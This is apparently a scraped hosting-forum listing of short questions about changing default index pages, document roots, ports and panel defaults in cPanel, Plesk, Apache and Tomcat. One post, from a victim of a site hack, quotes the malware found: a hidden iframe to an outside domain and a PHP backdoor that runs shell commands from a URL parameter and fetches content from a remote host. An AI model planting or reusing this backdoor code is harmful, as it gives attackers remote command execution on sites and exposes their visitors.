How Do I Change The Default Document Please? I.e. To Not Be Index
Feb 28, 2007
to change the default document on my Web server from index to news.php, is there a simple process for this please?
My server is Linux based and my control panel is cPanelX. I've had a look around the control panel but couldn't find anything to help me.
View 4 Replies
ADVERTISEMENT
Jun 8, 2008
How do I change the default system setting for the index manager so that indexes server wide are always set to no indexing.
I am aware that this can be done individually in cpanel, but how do I set it so that it is the default setting on the server to have
"No Indexing"
View 2 Replies
View Related
Jun 23, 2008
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.
View 1 Replies
View Related
Dec 18, 2008
Document root default in Plesk
I bought a new plesk and created new domains. For some odd reason, all the domains are looking at the default document root.
/var/www/vhosts/default/htdocs/
Rather than going to the domains document root
/var/www/vhosts/domain.com/conf
I checked the /var/www/vhosts/domain.com/conf/httpd.include, the document root and all are fine.
I also tried creating vhost.conf and assigning the document root there.
/usr/local/psa/admin/sbin/websrvmng --reconfigure-vhost --vhost-name=domain.com -v
It is also not working...
View 9 Replies
View Related
Sep 5, 2014
I think it is possible, but just to be sure...
Default document root is:
var/www/vhosts/www.mysite.com/httpdocs/
Can I change it to:
var/www/vhosts/www.mysite.com/web/
A simple "yes" or "no" will do...
View 3 Replies
View Related
Oct 26, 2013
I just made a fresh install of the following :
Apache 2.4 (x64)
PHP 5.5.5 Thread Safe (x64)
OS: Windows 8.1 (x64)
And I think everything is working. When openingen 127.0.0.1 I see the apache message that the server is running and when executing phpinfo() it displays the PHP info.
My problem is that I'm trying to change the document root.
I have change the following in the httpd.conf:
DocumentRoot "C:/Apache24/htdocs"
<Directory "C:/Apache24/htdocs">
The lines abowe have been change to:
DocumentRoot "D:/www"
<Directory "D:/www">
After this I did a reboot of the apache server using the CMD httpd -k restart. I even tried restarting using the apachemonitor and rebooted the whole server. But apache still loads the files from c:/Apache24/htdocs
I can't find any more entries with htdocs to change. What am I missing?
View 2 Replies
View Related
Jul 7, 2007
I was using Apache's <Directory> directive to modify the way the default indexes look.
I recently moved from openSUSE to Windows Server 2003 and copied over the Directory code but it no longer works.
Code:
<Directory />
Options All
AllowOverride All
IndexOptions SuppressHTMLPreamble SuppressDescription FancyIndexing VersionSort FoldersFirst IgnoreCase IconsAreLinks NameWidth=60
HeaderName /!_images/html/header.shtml
ReadmeName /!_images/html/footer.shtml
AddIcon /!_images/icons/application.png .exe
AddIcon /!_images/icons/application_xp_terminal.png .sh
AddIcon /!_images/icons/book_open.png .pdf
AddIcon /!_images/icons/music.png .mp3 .ogg
AddIcon /!_images/icons/photo.png .jpg .jpeg .png .bmp .gif
AddIcon /!_images/icons/television.png .avi .wmv .xvid .divx .mpg .mpeg
AddIcon /!_images/icons/script_code_red.png .php .php4 .php5 .js
AddIcon /!_images/icons/ruby.png .ruby .rb
AddIcon /!_images/icons/folder.png ^^DIRECTORY^^
DefaultIcon /!_images/icons/page_white.png
IndexIgnore query.txt !_images !_Jason !_media2 lost+found Modules _images login torrentflux phpinfo.php Thumbs.db tmp.txt phpmyadmin sandbox test.txt test.php _index.php robots.txt System Volume Information RECYCLER
</Directory>
It doesn't load the headerfile or the readme file (they exist) and it uses the Default Icon for all files
View 10 Replies
View Related
Aug 2, 2008
On my VPS I currently have:
/home/admin/public_html/ as my website root.
However, I plan on running multiple website (not linked whatsoever) on the server. I have LXAdmin and HyperVM. Is it possible to get additional files, such as:
/home/site2/public_html/
then etc..
/home/site3/public_html/
Is this possible? Because, would each need its own IP for the DNS?
View 4 Replies
View Related
Feb 8, 2015
i am relatively new to Plesk, i ordered a vserver with Plesk a couple of months ago and spend a lot of time setting everything up and developing several new websites. I am used to developping new websites on a hidden adress (sth like domain.com/dev/ instead of the top level) and then switch the document root to point to the hidden directory when all is done. This practice has served me and my clients well for the last 10 years.
Using the Plesk features like built-in applications seemed like a good idea at the time but wanting to switch the new websites live i have now found out that Plesk won't let me do this since..It is impossible to change document root because there are web applications installed on this website.
I had read somewhere on the interweb that the v12 would let me do this so i just spent the better part of today updating to v12 .. but alas no luck, the limitation is still there. Is there a way to remove this limitation ?
View 1 Replies
View Related
Jan 14, 2008
I'm working with HELM panel
I have deleted the index.htm file and uploaded another one
the first one had some images <img>, now
1. when i request the main page [url] the old index file is still appearing!
2. the images that was in the <img> tags of the old index file can't be deleted or renamed : can't be accessed at all.
View 3 Replies
View Related
Nov 8, 2008
How to change index manager defaults?
Whenever I set up a new account
View 4 Replies
View Related
Sep 8, 2007
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
View 5 Replies
View Related
Feb 11, 2008
I was wondering if I could change the default port of vnc server and how to do so?
What is the default port for vncserver server anyway? Is it 5900?
View 8 Replies
View Related
Dec 2, 2008
I have Linux server Apache with Tomcat.How can i change DocumentRoot for Tomcat or set default page for Tomcat index.jsp or my.jsp or index.php because i want to use 301 redirection.
So please guide me how can i change default page or change default path.
View 1 Replies
View Related
Feb 11, 2008
How Can I point [url]to httpdocs/MyFolder instead of httpdocs...
I am running a Plesk cp with apache web server.......
View 2 Replies
View Related
Feb 11, 2008
How Can I point [url]instead of httpdocs...
I am running a Plesk cp with apache web server.......
View 3 Replies
View Related
Sep 26, 2007
Is there any function in cpanel that allows you to set your own default page instead of the typical index,default.htm/html?
View 14 Replies
View Related
Nov 1, 2009
My app needs to be viewed using :8080 behind the domain. I want it be viewable without using adding any port behind. I've research on google and many said about edit the server.xml file but the problem is I can't located the file no mater what
root@kohproxy [~]# find -name server.xml
root@kohproxy [~]#
View 5 Replies
View Related
Aug 6, 2008
How do I change the default green cpanel page when a new account is created (dns only) and no page is uploaded yet?
View 4 Replies
View Related
Oct 31, 2009
I'm wondering if anyone else has experience with this, or if it's something easy that I'm overlooking.
I am on a VPS service (CentOS Linux) and I want my php mail function emails to send from a specified address. I've already manipulated the headers, so the emails do appear to come from the specified addres, but on mobile devices it comes up as nobody@server1.mydomain.com format. I would like this to read something like no-reply@mydomain.com
know which configuration files can change this default address?
View 5 Replies
View Related
Apr 10, 2014
I uploaded the default skeleton files into the management ppa server at /var/www/vhosts/.skel/0/
But when I am creating a new subscription the skeleton is still the default plesk skeleton, something changed from ppa 11 to 11.5 ??
View 1 Replies
View Related
Sep 9, 2014
My server currently installed plesk 12 , I need to change wordpress default language ( default English )
Which aps table to edit language.
View 1 Replies
View Related
Aug 15, 2013
Plesk 11.5 (Windows Server 2008 R2)
I changed the dump location, but how do I change the default backup location on the destination server from:
C:Program Files (x86)ParallelsPleskPMM mp
To:
D: emp
Also, how do I change it on the source server as well? I have tons of space on the D drive, but only 200GB on the C drive.
View 6 Replies
View Related
Feb 11, 2015
I am noticing that several of my users are wiping out their user root folders ( logs, error docs, etc...) when they fail to use '/httpdocs/' as the root directory when publishing with FTP.
I fixed this by editing the proftpd.conf to use ~/httpdocs/ as the DefaultRoot folder ( instead of just ~/ ).Would it be safer(better) to go through all the ftp users and make the home directory '/httpdocs/' instead of '/' in the admin UI? If yes, what is the best way to do a mass update of this setting for multiple users ( multiple domains ) ?
View 2 Replies
View Related
Nov 10, 2014
Is there a way to set the php-handle for all domais as "fastcgi".
At the moment when i create a domain, it will be run as "apache".
I like to change it to "fastcgi". I know there is way, to change it in the databases, but i forget where was it...
View 3 Replies
View Related
Sep 16, 2013
Is there a way to change the default value of the "Preferred domain" option in the hosting settings of domains in Plesk 11.5? When ever i create a new subscription/domain it just defaults to the value of "domain.ltd" and i have to go into the hosting settings and manually change it to "None". Is there a way i can set it to use the "None" option every time i create new subscriptions or domains?
View 14 Replies
View Related
Mar 6, 2007
I am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.
The problem is that their old index.htm page has a pagerank of 4 which we want to keep.
And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.
The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.
My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?
JavaScript, I have heard is completely out the question
View 3 Replies
View Related
Jan 23, 2014
I have a Windows VPS with Plesk panel. Windows Server 2008 R2 with plesk panel version 11.5.30.
I tried to change the default plesk panel port (8443) to eg (1234) without any success.
The steps i followed are the following:
1) Firewall -> Inbound rule -> allow for port 1234
2) Firewall, Disable inbound rule for port 8443
3) IIS, PleskControlPanel, Bindings: changed binding from 8443 to 1234.
Now i type on browser: [URL] .... and while its loading after some seconds redirects me to [URL] ...
View 6 Replies
View Related